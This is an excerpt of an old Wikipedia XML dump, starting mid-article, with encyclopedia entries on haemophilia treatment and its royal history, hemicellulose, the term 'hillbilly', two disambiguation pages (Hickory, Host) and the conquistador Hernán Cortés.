Though there is no cure for haemophilia, it can be controlled with regular injections of the deficient clotting factor, i.e. [[factor VIII]] in haemophilia A or [[factor IX]] in haemophilia B. Some haemophiliacs develop antibodies ([[inhibitors]]) against the replacement factors given to them, so the amount of the factor has to be increased or non-human replacement products must be given, such as [[porcine]] factor VIII. The increasing availability of human recombinant replacement blood products means the incidence of inhibitor formation is decreasing.

If a patient becomes refractory to replacement coagulation factor as a result of circulating inhibitors, this may be overcome with recombinant human [[factor VII]] (NovoSeven&amp;reg;), which is registered for this indication in many countries.

In western countries, common standards of care fall into one of two categories: prophylaxis or on-demand. Prophylaxis involves the infusion of clotting factor on a regular schedule in order to keep clotting levels sufficiently high to prevent spontaneous bleeding episodes. On-demand treatment involves treating bleeding episodes once they arise.

As a direct result of the contamination of the blood supply in the late 1970's and early 1980's with virologic agents such as [[HIV]] and [[Hepatitis]], new methods were developed in the production of clotting factor products. The initial response was to heat treat ([[pasteurize]]) plasma-derived factor concentrate, followed by the development of monoclonal factor concentrates which use a combination of heat treatment and affinity chromatography to inactivate any viral agents in the pooled plasma from which the factor concentrate is derived. More recently, recombinant factor products (which are typically cultured in Chinese hamster ovaries and involve little, if any contact with human plasma products) have become available and are widely used in wealthier western countries. While recombinant clotting factor products offer higher purity and safety, they are also extremely expensive, and not generally available in the developing world. In many cases, factor products of any sort are difficult to obtain in developing countries.

==History==
Haemophilia figured prominently in the history of European royalty. [[Victoria of the United Kingdom|Queen Victoria]] passed the mutation to her son Leopold and, through several of her daughters, to various royals across the continent, including the royal families of [[House of Bourbon|Spain]], [[Hohenzollern|Germany]] and [[Romanov|Russia]]. For this reason it was once popularly called &quot;the royal disease&quot;.

Victoria appears to have been a ''de novo'' case, as her mother's family is not known to have had the disease, and it is improbable that Victoria's mother had had a hemophiliac-suffering man siring her child: her husband, the Duke of Kent, was not hemophiliac, and the probability of the Duchess to have had a lover suffering from hemophilia is minuscule (in those centuries male hemophiliacs tended not to sire children, as they usually died early).

The disease was passed on to:
*[[Princess Alice, Grand Duchess of Hesse and by Rhine|Princess Alice]], who passed it onto at least three of her children: 
**Princess Irene, who passed it onto two of her three sons: Waldemar and Henry
**Prince Friedrich
**[[Alexandra Fedorovna of Hesse|Princess Alix]], who passed onto her only son, [[Tsarevich Alexei of Russia|Alexei]]. Alexei's hemophilia was one of the factors contributing to the collapse of Imperial Russia during the [[Russian Revolution of 1917]]. One of Alexandra's daughters, [[Grand Duchess Maria Nikolaevna of Russia|Maria]] is thought to have been a symptomatic carrier, due to the fact that she haemorrhaged during a tonsilectomy.
** It does not appear that Princess Alice's oldest daughter Victoria, maternal grandmother to [[Prince Philip]], inherited the mutation, or if she did, that she passed it on to her descendants. One of Alice's daughters, Princess Elizabeth, remained childless, while another, Princess May, died in childhood, so it is unknown if either would have been a carrier.
*[[Prince Leopold, Duke of Albany|Prince Leopold]], a sufferer (one of the rare male hemophiliacs of such early era who himself had children), who passed it onto his daughter, [[Princess Alice of Albany|Alice]], who in turn passed it onto her older son, Rupert. The younger son, Maurice, died in infancy, so it is not known if he was a sufferer.
*[[Princess Beatrice, Princess Henry of Battenberg|Princess Beatrice]], who passed it on to at least two, if not three of her four children: 
**[[Princess Victoria Eugenie of Battenberg|Princess Victoria Eugenie]], who passed it onto Infante Alfonso, Prince of Asturias) and Infante Gonzalo. Her two daughters, Infanta Beatrice and Infanta Maria Cristina, may be carriers, but none of their descendants have had the disease as of [[2004]].
**Prince Leopold
**Prince Maurice (this is disputed by various sources, although the fact that he was killed in flight in 1914 suggests that he was allowed to fly - unlikely for a known haemophiliac)

[[Image:haemophilia_family_tree.GIF]]

Those who suffered from or carried haemophilia are enclosed in a box.

== External links ==
*[http://www.hemophilia.ca Hemophilia Society of Canada]
*[http://www.hemophilia.org National Hemophilia Society]

{{Hematology}}

[[Category:Blood disorders]]
[[Category:Genetic disorders]]

[[de:Hämophilie]]
[[es:Hemofilia]]
[[eo:Hemofilio]]
[[fr:Hémophilie]]
[[id:Hemofilia]]
[[ia:Hemophilia]]
[[he:המופיליה]]
[[nl:Hemofilie]]
[[ja:血友病]]
[[pl:Hemofilia]]
[[pt:Hemofilia]]
[[fi:Verenvuototauti]]
[[sv:Blödarsjuka]]
[[ta:இரத்தம் உறையாமை]]
[[zh:血友病]]</text>
    </revision>
  </page>
  <page>
    <title>Hemophilia</title>
    <id>14007</id>
    <revision>
      <id>15911588</id>
      <timestamp>2004-08-18T08:16:55Z</timestamp>
      <contributor>
        <username>Arno</username>
        <id>3371</id>
      </contributor>
      <comment>Hemophilia moved to Haemophilia</comment>
      <text xml:space="preserve">#redirect [[Haemophilia]]
</text>
    </revision>
  </page>
  <page>
    <title>Hickory (disambiguation)</title>
    <id>14008</id>
    <revision>
      <id>41195647</id>
      <timestamp>2006-02-25T18:33:14Z</timestamp>
      <contributor>
        <username>Robert Weemeyer</username>
        <id>47347</id>
      </contributor>
      <minor />
      <comment>[[pl:Hickory]]</comment>
      <text xml:space="preserve">{{wiktionarypar|Hickory}}
'''Hickory''' may refer to:

* [[Hickory]], a type of tree (''Carya'' species) found in North America and East Asia.

* Places in the United States:
** [[Hickory, Alabama]]
** [[Hickory, Kentucky]]
** [[Hickory, Louisiana]]
** [[Hickory, Maryland]]
** [[Hickory, Mississippi]]
** [[Hickory, North Carolina]]
** [[Hickory, Oklahoma]]
** [[Hickory, Pennsylvania]]
** [[Hickory, Tennesse]]
** [[Hickory, Virginia]]
** ''see also: [[Hickory Township]]''

* [[Hickory cloth]], a hard-wearing cotton [[twill]] similar to [[denim]], used for North American workshirts and coveralls.

* [[Hickory Dickory Dock]], a popular [[nursery rhyme]].

* [[Old Hickory]], the nickname of [[Andrew Jackson]] (1767-1845), the seventh President of the United States.

* [[Old Hickory Furniture]], a historically notable company, original makers of &quot;rustic&quot; furniture, furnishing, for example, nearly all of the original U. S. National Park lodges, including the [[Old Faithful Inn]] at [[Yellowstone National Park]].

{{disambig}}

[[pl:Hickory]]</text>
    </revision>
  </page>
  <page>
    <title>Hemicellulose</title>
    <id>14009</id>
    <revision>
      <id>29853083</id>
      <timestamp>2005-12-01T23:22:33Z</timestamp>
      <contributor>
        <ip>167.136.235.247</ip>
      </contributor>
      <text xml:space="preserve">A [[hemicellulose]] can be any of several [[heteropolymer]]s ([[matrix polysaccharide]]s) present in almost all cell walls along with [[cellulose]]. 

Their [[molecular weight]]s are usually lower than that of cellulose and they have a weak undifferentiated structure compared to crystalline cellulose. But the chains form a '[[Matrix (biology)|ground]]' - they bind with [[pectin]] to cellulose to form a network of cross-linked fibres.

Hemicelluloses include [[xylan]], [[glucuronoxylan]], [[arabinoxylan]], [[glucomannan]], and [[xyloglucan]].

As percent content of hemicellulose increases in animal feed the voluntary feed intake decreases.

Hemicellulose is represented by the difference between NDF and ADF.  

[[category:cell biology]]

[[da:Hemicellulose]]
[[de:Hemicellulose]]
[[es:Hemicelulosa]]</text>
    </revision>
  </page>
  <page>
    <title>Hillbillies</title>
    <id>14010</id>
    <revision>
      <id>15911591</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>129.128.90.172</ip>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[hillbilly]]
</text>
    </revision>
  </page>
  <page>
    <title>Hillbilly</title>
    <id>14011</id>
    <revision>
      <id>41760419</id>
      <timestamp>2006-03-01T15:27:14Z</timestamp>
      <contributor>
        <ip>194.14.211.241</ip>
      </contributor>
      <comment>/* In fiction */</comment>
      <text xml:space="preserve">'''Hillbilly''' is a term for people who dwell in remote, [[rural]], mountainous areas. In particular the term refers to residents of the [[Appalachian Mountains|Appalachia]] and later the [[Ozarks]] in the [[United States]].  Usage of the term &quot;Hillbilly&quot; generally differs from [[Redneck]] and [[White Cracker|Cracker]], because Rednecks/Crackers reject or resist assimilation into the dominant culture, while Hicks and Hillbillies theoretically are isolated from the dominant culture.  The term is often considered [[derogatory]].

==History==
It is believed that the term &quot;hillbilly&quot; originally referred to [[Scots-Irish American|Scots-Irish]] immigrants of mainly [[Presbyterian]] origin, who brought their cultural traditions with them when they moved to the United States. Many of their stories, songs and ballads dealt with the history of their [[Ulster]] and [[Scottish Lowlands|Lowland Scot]] homelands, especially relating the tale of the [[Protestant]] King [[William III of England|William III]], [[Prince of Orange]], who defeated the [[Roman Catholic]] King [[James II of England|James II]] at the [[Battle of the Boyne]] in [[1690]].

Supporters of King William came to be known as [[Orangemen]] and Billy Boys (Billy being an abbreviation of William; the term &quot;Billy Boy&quot; is still used today, mainly in [[Northern Ireland]]). When considerable  numbers of these Scots-Irish immigrants settled in hilly regions during the early 18th Century, they were nicknamed &quot;hill billies&quot; by the occupying [[United Kingdom|British]] soldiers.

Others have speculated that this &quot;Billy&quot; refers to [[William Wallace]], a Scottish national hero.

Alternatively, it is also speculated that the term emerged as a derogatory nickname given by the coastal plain dwelling Anglo-Saxon Southerners for the hill-dwelling settlers of eastern Tennessee, western Virginia and Kentucky, many of whom were ambivalent to the Confederacy during the [[American Civil War]]. Billy Yank was the common term for Union soldiers, the nemesis of the Confederate Johnny Reb.

The use of the word was probably most apt (and relatively inoffensive) during the period between the [[Manifest Destiny|western expansion]] of the early-to-mid [[nineteenth century]] and the post-[[World War II|war]] period of the [[1940s]]. The advent of the [[interstate highway]] system and [[television]] brought many previously isolated communities into mainstream [[United States]] culture in the [[1950s]] and [[1960s]], but many communities with relatively traditional lifestyles remain throughout the region.

Strangely enough, early editions of Websters Dictionary include a definition of hillbilly as &quot;a Michigan Farmer&quot;.

Historically, there were conflicts between &quot;hillbillies&quot; and the planters who lived on the coastal plains. During the [[American Civil War]], many residents of western Virginia were pro-Union in that they generally did not own slaves and resented the political dominance of planters who did. This resentment was a contributing factor to the creation of the state of [[West Virginia]]. This affiliation may also be observed in the pro-Union names of many rural Appalachian areas, e.g. [[Lincoln County]] or [[Union County]].

[[Country music|Country and Western music]] was originally called ''hillbilly music'', even by its fans, until the late [[1950s]]. However the older name is now deemed offensive (and silly) and is hardly ever used. The first tune that contained the word &quot;hillbilly&quot; was &quot;Hillbilly Boogie&quot; by the Delmore Brothers in 1946. However, in 1927, the [[Gennett Records|Gennett]] studios in [[Richmond, Indiana]], made a recording of black fiddler Jim Booker with other instrumentalists; their recordings were labeled &quot;made for Hillbilly&quot; in the Gennett files, and marketed to a white audience. By the late forties, radio stations broadcast music described as &quot;hillbilly&quot;, originally to describe fiddlers and string bands, but was then used to describe the traditional music of the people of the Appalachian Mountains. The people who actually sang these songs and lived in the Appalachian Mountains never used these terms to describe their own music.  Popular songs of the early 1950s whose style bore characteristics of both &quot;hillbilly&quot; and rock-and-roll genres was referred to as &quot;[[rockabilly]]&quot;.  The versatile (to put it mildly) [[Elvis Presley]] was a prominent member of that genre.  When the Country Music Association was founded in 1958, the term &quot;hillbilly music&quot; gradually fell out of use.  However, the term &quot;rockabilly&quot; is alive and well. [http://www.rockabillyhall.com/]

== The hillbilly stereotype ==
Stereotypical characteristics of hillbillies as portrayed in popular media are that they:
*smoke a corncob pipe.
*are often [[moonshine]]rs with a still on their property. Often drink from traditional moonshine clay jugs marked &quot;XXX&quot;.
*often wear a worn out floppy hat.
*own a shotgun, often with a bell-shaped barrel. They use the shotgun in social situations when they believe a male hillbilly has had sexual relations with a female hillbilly - they will force this male to marry the female, either to save her status among the hillbilly clan or to ensure that the male remains responsible to any offspring from this relationship. This is termed a &quot;[[shotgun wedding]].&quot;
*often fight each other along family lines. This is known as a &quot;[[feud]].&quot; A historically important fight between hillbilly clans was the [[Hatfield-McCoy feud]].
*are often barefoot.
*are not motivated by money or attempt in any way to improve their social status in comparison to the outside world; are content with their lives; do not generally leave their clans to see other parts of the world or get an education.
*have low [[IQ]].

==Modern usage==
Today, &quot;hillbilly&quot; has increasingly insulting connotations - especially as knowledge of the word's fairly harmless origins are forgotten. 

Since the mid 1970's the Applachian town of Pikeville, Kentucky has been home to the annual Hillbilly Day's Festival.  The large festival, which raises money for the Shriner's Hospitals for Children, pokes fun at the local Hillbilly stereotype and celebrates Applachian culture and art.  The festival is the second largest festival in the state of Kentucky often drawing nearly 100,000 people.

In mock formality, some hillbillies may occasionally refer to themselves as &quot;Mountain Williams&quot;. {{fact}}

To the people of the Appalachian Mountains, the term &quot;hillbilly&quot; carries a negative connotation which has been greatly emphasized by how Hollywood movies and films portray the &quot;hillbilly&quot; as impoverished, ill-educated, toothless, shoeless, unstylish, inbred, etc. While such stereotyping is generally offensive, socio-economic realities have left much of the Appalachian region impoverished, although the economy has been steadily improving since the 1990s.

Because hillbillies are stereotypically assumed to lack footwear, Appalachia and places like it are sometimes referred to as the &quot;Barefoot Nation&quot;. {{fact}}

In recent years, members of the American [[leftist|Left]] from the West Coast and New England have taken to calling [[conservatism|Christian Conservatives]] as &quot;Hillbillies&quot; presumably as an insult.{{fact}}

==In fiction==
Hillbillies have often been characterized as ignorant [[hick]]s. 
*The hillbilly lifestyle of the [[Ozarks]] was gently parodied in the comic strip [[Li'l Abner]], which inspired a [[Broadway theatre|Broadway]] musical and movie by the same name.
*[[Ma and Pa Kettle]] were very popular characters in comedic movies of the [[1940s]] and [[1950s]].
*In the [[1960s]] American [[Situation comedy|sitcom]] ''[[The Beverly Hillbillies]]'', the Clampett family were supposed to have come from near the Ozarks. 
*Festus, a prominent character on the TV series ''[[Gunsmoke]]'', belonged to a hillbilly clan.
*An episode of ''[[The Dukes of Hazzard]]'' saw Bo and Luke rescuing Daisy from being forced to marry into a family of [[sociopath|sociopathic]] hillbillies.
*A recurring character on ''[[The Simpsons]]'', [[Cletus Spuckler]] and his family are stereotypical hillbillies.
*The [[1960s]] American [[Situation comedy|sitcom]] ''[[The Andy Griffith Show]]'' has two contrasting stereotypes of recurring hillbilly characters: The ignorant but kindly, impoverished but generous Darling family, portrayed by bluegrass band [[The Dillards]] and [[Denver Pyle]]; and the belligerent, paranoid, frankly violent buffoon, Ernest T. Bass, portrayed by [[Howard Morris]].
*In 1970 the author James Dickey published the [[novel]] ''[[Deliverance]]'', a story about four men going for a canoe-trip on a river in the mountains of [[Georgia (U.S. state)|Georgia]]. They encounter several sociopathic hillbillies and are subsequently  attacked, captured, tortured, and raped by them.
*On [[Nickelodeon (TV channel)|Nickelodeon]]'s ''[[The Amanda Show]]'', starring [[Amanda Bynes]], a recurring skit titled &quot;Hillbilly Moment&quot; would be featured. Amanda Bynes and [[Drake Bell]] would appear as stereotypical hillbillies and behave accordingly.
* A popular television comedy-variety show &quot;[[Hee Haw]]&quot; starred several well-known country singers and regularly lampooned the stereotypical hillybilly lifestyle.
* In ABC's mystery drama [[Lost (TV Series)|Lost]], the spokesman for the Others, Mr. Friendly, is called 'Zeke' by Sawyer—Zeke is a derogatory hillbilly name, and Mr. Friendly resembles the stereotypical hillbilly.

==See also==
*[[List of ethnic slurs]]
*[[Hick]]
*[[Hillbilly heroin]]
*[[Redneck]]
*[[White cracker]]
*[[White trash]]
*[[Poor White]]
*[[Trailer trash]]

== References ==
*''Hillbilly, A Cultural History of an American Icon'' by Anthony Harkins

[[Category:Pejorative terms for people]]
[[Category:Social groups]]
[[Category:Appalachian culture]]
[[Category:Stereotypes]]</text>
    </revision>
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  <page>
    <title>Host</title>
    <id>14012</id>
    <revision>
      <id>41984181</id>
      <timestamp>2006-03-03T01:14:11Z</timestamp>
      <contributor>
        <ip>86.136.149.253</ip>
      </contributor>
      <comment>de-redirect</comment>
      <text xml:space="preserve">{{wiktionary}}
The term '''host''' can refer to a [[person]], [[organisation]], [[animal]], [[cell (biology)|cell]], [[host computer | computer]] or similar that receives [[guest]]s or [[intruder]]s. 

It can also refer to a large group, such as an army or any large number of people; for example, &quot;a host of US troops invaded Iraq in [[2003]]&quot;.

Specific meanings include:
;Science 
* [[Host (biology)]], an organism that harbors a [[parasite]], mutual partner, or commensal partner; or  a cell infected by a [[virus]]
* [[Host (psychology)]], the most important mental entity in someone who has Dissociative Identity Disorder (Multiple Personality Disorder) 
*In [[host-guest chemistry]], a host molecule, such as a [[receptor]], can receive a guest, such as a ligand
;Technology
* A [[server]] or [[node (networking)]] that has a [[hostname]] in [[computing]]
** [[Hosts file]],  a file  that serves to look up Internet Protocol addresses 
** [[Web hosting|Web host]], a company or individual who offers web space and sometimes a domain name
** [[Bastion host]], a machine that controls access between a private network and a public one (such as the Internet)
;Other uses
*[[Master of Ceremonies]] (host) of a television or radio show 
* [[Host club (Japan)]],  in which a host or hostess provides [[escort service|escort services]]
* ''[[Host (album)]]'', an album by the band [[Paradise Lost (band)|Paradise Lost]]
*[[Host (Holy Communion)]], bread in the Eucharist 
*[[Heavenly host]], in the Bible, a &quot;chorus or army of angels&quot;


{{disambig}}

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  <page>
    <title>Hernán Cortés</title>
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      <text xml:space="preserve">{{cleanup-date|February 2006}}
[[Image:Cortes-Hernando-LOC.jpg|thumb|250px|Hernán Cortés]]
'''Hernán(do) Cortés, marqués del Valle de Oaxaca''' ([[1485]]&amp;ndash;[[December 2]], [[1547]]) was the [[conquistador]] who conquered [[Mexico]] for [[Spain]]. He was known as '''Hernando''' or '''Fernando Cortés''' during his lifetime and signed all his letters '''Fernán Cortés'''. 

== Early life ==
Cortés was born in [[Medellín (Spain)|Medellín]], in the province of [[Estremadura]], in the [[Castile|Kingdom of Castile]] in Spain in [[1485]], the only child of Martín Cortés and Catalina Pizarro Altamirano. Through his mother, he was second cousin to [[Francisco Pizarro]], who later conquered the [[Inca]] empire of modern-day [[Peru]] (not to be confused with another Francisco Pizarro who joined him to conquer the [[Aztec]]s). 

Cortés took classes at [[Salamanca]] but bitterly disappointed his parents by returning home in [[1501]] at age 16, rather than studying law like his grandfather. He had a choice between seeking fame and glory in a war in Italy, or trying his luck in the Spanish colonies of the [[New World]].

== Arrival in the New World==
Due to  setbacks, Cortés did not arrive in the New World until 1506. He took part in the conquest of [[Hispaniola]] and [[Cuba]] and was granted a large estate of land and [[Native American (Americas)|Indian]] slaves for his efforts. This was the ''[[encomienda]]'' that had worked so well in the conquest of the [[Canary Islands|Canaries]] (eliminating the indigenous [[Guanches]]) but would prove devastating in the New World.

Expeditions to [[Yucatán]] by [[Francisco Hernández de Córdoba (discoverer of Yucatán)|Francisco Hernández de Córdoba]] in [[1517]] and [[Juan de Grijalva]] in [[1518]] had returned to Cuba with small amounts of gold, and tales of a more distant land where gold was said to be abundant. Cortés eagerly sold or mortgaged all his lands to buy ships and supplies and arranged with the Governor of Cuba, [[Diego Velázquez de Cuéllar]], another distant relative and his father-in-law, to lead an expedition, officially to explore and trade with the rumored new lands to the west. Governor Velázquez forbade him to invade the mainland (a privilege he reserved for himself), but calling upon what law he had studied and his famous powers of persuasion, Cortés tricked Governor Velázquez into inserting a clause about emergency measures that might have to be taken without prior authorization, &quot;in the true interests of the realm.&quot;  At the last minute, the Governor, sensing that Cortés was too ambitious for his own good, changed his mind. He sent a messenger to Cortés with a letter saying that he was no longer the captain of the expedition, but Cortés' brother-in-law killed the messenger and told him what the letter said. Thus warned, Cortés organized his expedition and set sail on the morning of [[January 18]], [[1519]], just as Velázquez arrived at the dock in person to remove him.

== Cartas de Relacion==
It is important to note that Cortes' personal account of the conquest of Mexico is known by his letters to the King of Spain or ''cartas de relacion''. As one specialist describes them, &quot;Cartas de relación have enjoyed an unequaled popularity among students of the Conquest of Mexico. Historians, sociologists, and political scientists use them to glean information about the Aztec empire and the clash between the European and Indian cultures. However, as early as the sixteenth century doubt has been cast on the historicity of these Conquest accounts. It is generally accepted that Cortés does not write a true “history,” but rather combines history with fiction. That is to say, in his narrative Cortés manipulates reality in order to achieve his overarching purpose of gaining the favor of the king. Cortés applies the classical rhetorical figure of evidentia as he crafts a powerful narrative full of “vividness” that moves the reader and creates a heightened sense of realism in his letters.&quot; [http://academics.georgiasouthern.edu/international/pages/SECOLAS/CAFryer.htm]

==Beginning his campaign==
After leaving Cuba with 11 ships, 500 men, and 15 horses, Cortés stopped briefly in the Yucatán, where there was little gold, but the priceless gift of two translators. One of these was the woman whom Cortes called Dona Marina, sometimes called &quot;[[La Malinche]],&quot; later made legendary in book and film (even if she was not, as conquistador Bernal Diaz del Castillo wrote in his account &quot;The True History of the Conquest of New Spain,&quot; an Aztec princess sold into [[Maya]]n slavery). The other was a shipwrecked Spaniard who had learned a Mayan dialect during seven years of slavery, though he proved less and less useful as it became apparent that Marina was trilingual: she spoke Maya, Nahuatl (the language of the Mexica/Aztecs), and a dialect of Nahautl spoken only to and in front of the Mexica/Aztec emperor.

Cortés landed his party in a location he named La Villa Rica de la Vera Cruz, now known as [[Veracruz (city)|Veracruz]] (&quot;True Cross&quot;) on Holy Thursday [[March 4]]. By establishing a municipality, he could &quot;reluctantly&quot; proceed to claim land for King [[Charles V, Holy Roman Emperor|Charles V]] of [[Spain]] by popular mandate of the city magistrates he had appointed, all conveniently friends of his.

The local [[Totonac]] from [[Cempoala]] greeted him with gifts of food, feathers, gold &amp;ndash; and women. He learned that the land was ruled by the great lord in the city of [[Tenochtitlán]]. Soon ambassadors from the Mexica/Aztec Emperor [[Moctezuma II]] arrived with additional gifts, apparently hoping to keep him at a distance by satisfying him with gold. It had the opposite effect, of course. In his letters to [[Charles V, Holy Roman Emperor|Charles V]], Cortés claims to have learned at this point that he was suspected of being [[Quetzalcoatl]] or an emissary of Quetzalcoatl, a legendary god-king that controlled lightning who was predicted to one day return to reclaim his city in a One-Reed year on the Mexica calendar. (One-Reed was, in this particular 52-year &quot;century,&quot; 1519, adding to the extraordinary luck of this conquistador.) However, there is much doubt as to the truth of this legend. While Quetzalcoatl was a mythic god whom the Mexica saw as a tie to the earlier [[Toltec]] peoples from whom they claimed descent, there is little evidence supporting a Pre-Hispanic myth alleging his &quot;return.&quot; Current scholarship on this topic is complex, and no consensus has been reached. Some argue that this Cortés-Quetzalcoatl connection was a post-colonial retelling by the Mexica to account for the Conquest. Some argue that this was a natural evolution from the Mexica concept of cosmology, in which (it is asserted) time is cyclical; therefore, the Mexica must have believed that events in the past would be repeated in the future (such as Quetzalcoatl's return). (This concept of Mexica cosmology is convincingly argued against by historian [[Ross Hassig]] in his book ''Time, History, and Belief in Aztec and Colonial Mexico''.) Finally, some assert that the myth was a fabrication of the Spanish, used both to assert the inevitability of the outcome of the Conquest and to forge a link between the ancient gods and Christ (to whom Quetzalcoatl was often implicitly compared).

While some of the expedition wanted to get such gold as they could by trade or theft and then return to Cuba, Cortés had seen the results of this sort of plunder and had plans to build a working empire of his own. He ordered all his fleet [[scuttling|scuttled]] (not burned as legend has it), except for one small ship with which to communicate with Spain, effectively stranding the expedition in Mexico and ending all thoughts of loyalty to the Governor of Cuba. Cortés then led his band inland towards the fabled Tenochtitlán.

==Conquest==
Cortés arrived at [[Tlaxcala]], a small independent state within the empire's sphere of influence. The Tlaxcaltecas attacked his troops, but Spanish crossbows, broadswords, battle axes, horses, war dogs and firearms quickly won the battle. Cortés said that if the men of Tlaxcala would accept Christianity, become his allies and vassals to his lord, he would forgive their disrespect and overthrow their nemesis, Emperor [[Moctezuma]]. Cortés' &quot;lord&quot; was [[Holy Roman Emperor Charles V]], to whom he made his case by letters, over the head of Velázquez, who, in turn, was trying to make a case over the head of [[Diego Colón]], son of [[Christopher Columbus]] and thus [[Admiral of the Ocean Sea]]. Otherwise, Cortés threatened, he would kill everyone in their entire nation. The Tlaxcaltecas agreed; Cortés then continued his march with some 2,000 Tlaxcalteca warriors and perhaps as many more porters. He also purchased cotton armour, seeing how much more effective than chain mail it was against Indian arrows.

After Cortés arrived in [[Cholula]], the second largest city of the Empire, [[La Malinche]] relayed a rumor that the locals planned to murder the Spaniards in their sleep. Although he did not know if this was true or not, Cortés ordered a pre-emptive strike to serve as a lesson: the Spaniards seized and killed the local nobles, set fire to the city and killed an estimated 15,000 to 30,000 of the inhabitants. Cortés then sent a message ahead to Moctezuma that the lords of Cholula had treated him with disrespect and had to be punished, but if Moctezuma treated him with respect and gifts of gold, the Aztecs need not fear his wrath. Terror was one of his many powerful tools, though much of his military genius can be ascribed to La Malinche, who had her own motives for revenge.

[[Image:Mexico0063.jpg|right|thumbnail|Meeting place of Montezuma and Hernan Cortes]]

On November 8, 1519, Cortés arrived in [[Tenochtitlan]]. At this time it is believed that the city was one of the largest in the world; in Europe, only Constantinople was larger. The most common estimates put the population at around 60,000 to over 300,000 people. 

Aztec ruler Moctezuma II, thinking Cortés to be the returning god Quetzalcoatl, welcomed Cortes with great pomp. Meanwhile, other Aztec nobles were in dismay at the royal submissive attitude and planned a successful, but temporary, rebellion which resulted in driving Cortes and his allies out of Tenochtitlan. Popular tales say that he wept under a tree the night of his defeat [[La Noche Triste]]. However, Cortes came back and put a naval siege to the city. The siege lasted months. Much of the city was destroyed by smallpox. In fact, a third of the inhabitants of the entire valley died in less than six months by the new disease brought from Europe. Cannons did the rest. Despite the valiant resistance, the city fell on August 13, 1521. Decomposed bodies littered the destroyed city and bloated corpses floated in canals and the lake 

The rest of the city was either destroyed, dismantled or buried as Mexico City was built on top of it. Some of the remaining ruins of Tenochtitlan's main temple, the Templo Mayor, were excavated in the 1970's and are now open to visitors. Mexico City's Zócalo is located at the location of Tenochtitlan's original central plaza and market, and many of the original calzadas still correspond to modern streets in the city. Some of the conquistadores had traveled as widely as Venice and Constantinople, and many said that Tenochtitlan was as large and fine a city as any they had seen.

Although many popular histories insist that Cortés was a uniquely brilliant military strategist, the &quot;great man&quot; myth of Cortés drastically overshadows the actual process of conquest. While Cortés can be credited with successfully identifying the complexities of local indigenous politics, especially the animosity felt by many native groups towards the Mexica-Aztec Empire, the use of native allies was hardly a new concept. This tactic was one which Cortés had experienced and adopted from earlier conquests in the Caribbean. Additionally, the use of terror and the capturing of native leaders reappear over and over in Spanish conquest history and were not unique inventions of Cortés. Even his attempt to justify his conquest of the Mexican mainland — a right held by the governor of Cuba — through the founding of Veracruz and an appeal directly to [[Holy Roman Emperor Charles V|Emperor Charles V]] had been used by other conquistadors interested in usurping the right of conquest. Ultimately, Cortés and the conquest of Mexico should not be viewed as a brilliant military feat but instead as the successful implementation of multiple conquest strategies derived from almost thirty years of conquest experience in the Caribbean. In addition, as stated above, smallpox turn out to be his greatest ally.

After the fall of the city, Cortes imprisoned the royal families of the valley. Among other important figures, he personally tortured and killed Cuauhtemoc, the last Aztec Emperor; Coanacoch the King of Texcoco and Tetlepanquetzal, King of Tlacopan (February 28, 1525). He wanted to get from them the location of the Moctezuma gold treasure and expected to avoid another Aztec rebellion. Bernal Diaz del Castillo tell us that other Spaniards supported him on his brutal decision. The execution eventually had to be carried on by Tlaxcallan soldiers. He married one of the daughters of emperor Moctezuma and gave the other noble women to his men.

== Later life==
When Cortés returned to New Spain from Honduras, barely alive, he was greeted with joy by a desperate, lawless population. He served a term as Governor-General of &quot;New Spain of the Ocean Sea&quot; (as Juan de Grijalva had named Mexico before Cortés ever saw it), bringing stability and surprising civil rights to the country. He kept his explorations and eventually was the first European to set foot on the lower california. The Sea of Cortes is named after him. 

While he was away, the Castilian bureaucrats began to arrive, undoing all his work, and he left his eldest and favorite son, [[La Malinche]]'s child [[Martín Cortés]], with a relatively large fortune, eventually returning to Europe to fight in Italy with the same son. In return for his efforts in expanding the still young Spanish Empire, Cortés was rewarded by being named the Marqués del Valle de Oaxaca, a noble title and senorial estate which was passed down to his descendents until 1811. Cortés's states were mismanaged by abusive colonial administrators when he returned to Spain.  Cortés sided with local Indians in a lawsuit.  The Indians documented the abuses in the [[Huexotzinco Codex]]. Cortés was one of the first Spaniards to attempt to grow sugar in Mexico and one of the first to import African slaves to early colonial Mexico. At the time of his death his estate contained at least 200 slaves who were either native Africans or of African descent. Cortés died in [[Castilleja de la Cuesta]], [[Seville]] province, on [[December 2]], [[1547]], from a case of [[pleurisy]] at age 62. Like Columbus, he died a wealthy but embittered man; he had not become the great Caesar of Charles V's Western Empire. His last battle in 1541 was a Spanish attack on Algiers.

He left his many [[mestizo]] and white children well cared for in his will, along with every one of their mothers. It is extremely difficult to characterize this particular conquistador &amp;ndash; his unspeakable atrocities, his tactical and strategic awareness, the rewards for his Tlaxcalteca allies along with the rehabilitation of the nobility (including a castle for Moctezuma's heirs in Spain that still stands), his respect for Indians as worthy adversaries ''and'' family members. In Mexico today he is condemned as a modern-day [[damnatio memoriae]].

== Further reading ==
===Primary sources===
*Hernán Cortés, ''Letters'' &amp;ndash; available as ''Letters from Mexico'' translated by Anthony Pagden (1986) ISBN 0300090943
*[[Bernal Díaz del Castillo]], ''The Conquest of New Spain'' &amp;ndash; available as ''The Discovery and Conquest of Mexico: 1517-1521'' ISBN 030681319X
*''The Broken Spears: The Aztec Account of the Conquest of Mexico'' by Miguel Leon-Portilla ISBN 0807055018

===Secondary sources===
*''Conquest: Cortés, Montezuma, and the Fall of Old Mexico'' by [[Hugh Thomas]] (1993) ISBN 0671511041
*''Cortés and the Downfall of the Aztec Empire'' by [[Jon Manchip White]] (1971) ISBN 0786702710
*''History of the Conquest of Mexico. '' by [[William H. Prescott]] ISBN 0375758038
*''The Rain God cries over Mexico'' by [[László Passuth]]
*''Seven Myths of the Spanish Conquest'' by Matthew Restall, Oxford University Press (2003) ISBN  	0195160770
*''The Conquest of America'' by [[Tzvetan Todorov]] (1996) ISBN: 0061320951

== See also ==
* [[History of Mexico]]
* [[Cortez the Killer]], a song by [[Neil Young]]
* [[History rhymes]]

== External links ==
* [http://www.isidore-of-seville.com/cortes/ Hernando Cortes on the Web] &amp;ndash; web directory with thumbnail galleries
* [http://www.newadvent.org/cathen/04397a.htm Catholic Encyclopedia] (1911)
* [http://www.pbs.org/conquistadors/cortes/cortes_flat.html Conquistadors, with Michael Wood] &amp;ndash; website for 2001 PBS documentary
